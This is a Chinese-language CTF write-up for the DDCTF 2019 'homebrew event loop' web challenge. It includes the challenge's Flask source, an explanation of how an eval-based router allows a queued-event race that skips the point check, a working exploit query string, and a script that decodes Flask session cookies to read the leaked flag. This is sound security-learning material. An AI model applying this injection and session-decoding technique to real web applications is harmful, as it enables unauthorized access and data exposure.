ddctf_2019_homebrew_event_loop
最上面说我有多少个钻石,多少积分
点击Go-to e-shop,就可以使用一个积分买一个钻石,原来做的这种类型的题目都是抓包修改余额但这题有点不一样
最上面有个view source code估计是源码我们去看看
from flask import Flask, session, request, Response import urllib app = Flask(__name__) app.secret_key = '*********************' # censored url_prefix = '/d5afe1f66147e857' def FLAG(): return '*********************' # censored def trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException: pass def execute_event_loop(): valid_event_chars = set( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') resp = None while len(request.event_queue) > 0: # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" event = request.event_queue[0] request.event_queue = request.event_queue[1:] if not event.startswith(('action:', 'func:')): continue for c in event: if c not in valid_event_chars: break else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#') try: event_handler = eval( action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) except RollBackException: if resp is None: resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' # resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp @app.route(url_prefix+'/') def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items'] = 0 session['points'] = 3 session['log'] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />'.format( session['num_items'], session['points']) if page == 'index': html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop': html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset': del session['num_items'] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == 'True': source = open('eventLoop.py', 'r') html = '' if bool_download_source != 'True': html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True': html += line.replace('&', '&').replace('\t', ' '*4).replace( ' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />') else: html += line source.close() if bool_download_source == 'True': headers = {} headers['Content-Type'] = 'text/plain' headers['Content-Disposition'] = 'attachment; filename=serve.py' return Response(html, headers=headers) else: return html else: trigger_event('action:view;index') def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format( num_items), 'action:view;index']) def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume def show_flag_function(args): flag = args[0] # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return 'You naughty boy! ;) <br />' def get_flag_handler(args): if session['num_items'] >= 5: # show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')
这里execute_event_loop起到路由功能。对URL中参数进行分割等。然后执行对应的函数。
我们再去看一下获得flag的位置
def get_flag_handler(args): if session['num_items'] >= 5: # show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index')
如果session['num_items']>=5那么就执行trigger_event,我们再去看一下trigger_event是干什么的
def trigger_event(event): session['log'].append(event) #trigger_event('func:show_flag;'+FLAG()) #func:show_flag;flag{********} #将返回结果写入session中,flask采用的是jwt所以可以解密 if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event)
将要执行的函数和参数放入request队列中。然后依次执行
也就是说。我们要满足session[num_items]=5。继续看num_items在哪里可以加
def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format( num_items), 'action:view;index'])
以buy_handler(1)这样购买。然后num_item就会+1,会把func:consume_point;num_items传入队列执行执行的是consume_point_function(num_items)
def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume
作用是判断session中的points是否小于我们想要购买的数量。如果小于。那么就再减掉 就是。我们购买5个flag。但是。只有3个金币。它会先购买5个。然后判断钱是不是够。不够就再减去 OK。现在大致思路就搞懂了。execute_event_loop函数。接收输入。决定执行什么函数。 执行函数时。会把函数加入队列。然后再从队列中取出按顺序执行 如果我们直接调用buy_flag(5)。先将buy_flag(5)执行。然后再执行判断。如果钱不够就会减掉。
我们再来仔细看看execute_event_loop函数处理路由的过程
action(函数名)是第一个冒号后面的值。然后截取出来的字符串。再截取分号前面的值
参数是取函数名+分号后面的值。用#来分割。作为参数,思路如下,我们重复写就能构造一个参数。然后带入eval执行
构造payload
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
解密脚本
#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
解密下面这串字符
即可获得flag
python3 jiemi.py ".eJyNjU8LgjAchr9K_M4e5kREwUtQVjQlqDYXEZr9d0tYpi387nmJCDx4e-F5eN435PcTeJvNGwYpeBDTECXULSMxMw9L9YLG6Ca6i2R5NnZFGoxlVPn-z4Bma3wfuFyXsS6uKbZ1Rs2cWcNnQm0U6anf0ZS84GzvtMaNs5Pfr0R6lv5DOglci2GuYrp3uKjP3FI6uy5qpkNMsI2YHlVkMjzGK_vWemSxDucMk2qJVc0Z6nkKshS7y-MgFHjIgOJ-kY92Ws0H4UZ8Qw.YdZ5DQ.SWVYOdGtO4vqrWSe4v7GytXqMDU"
运行脚本获得flag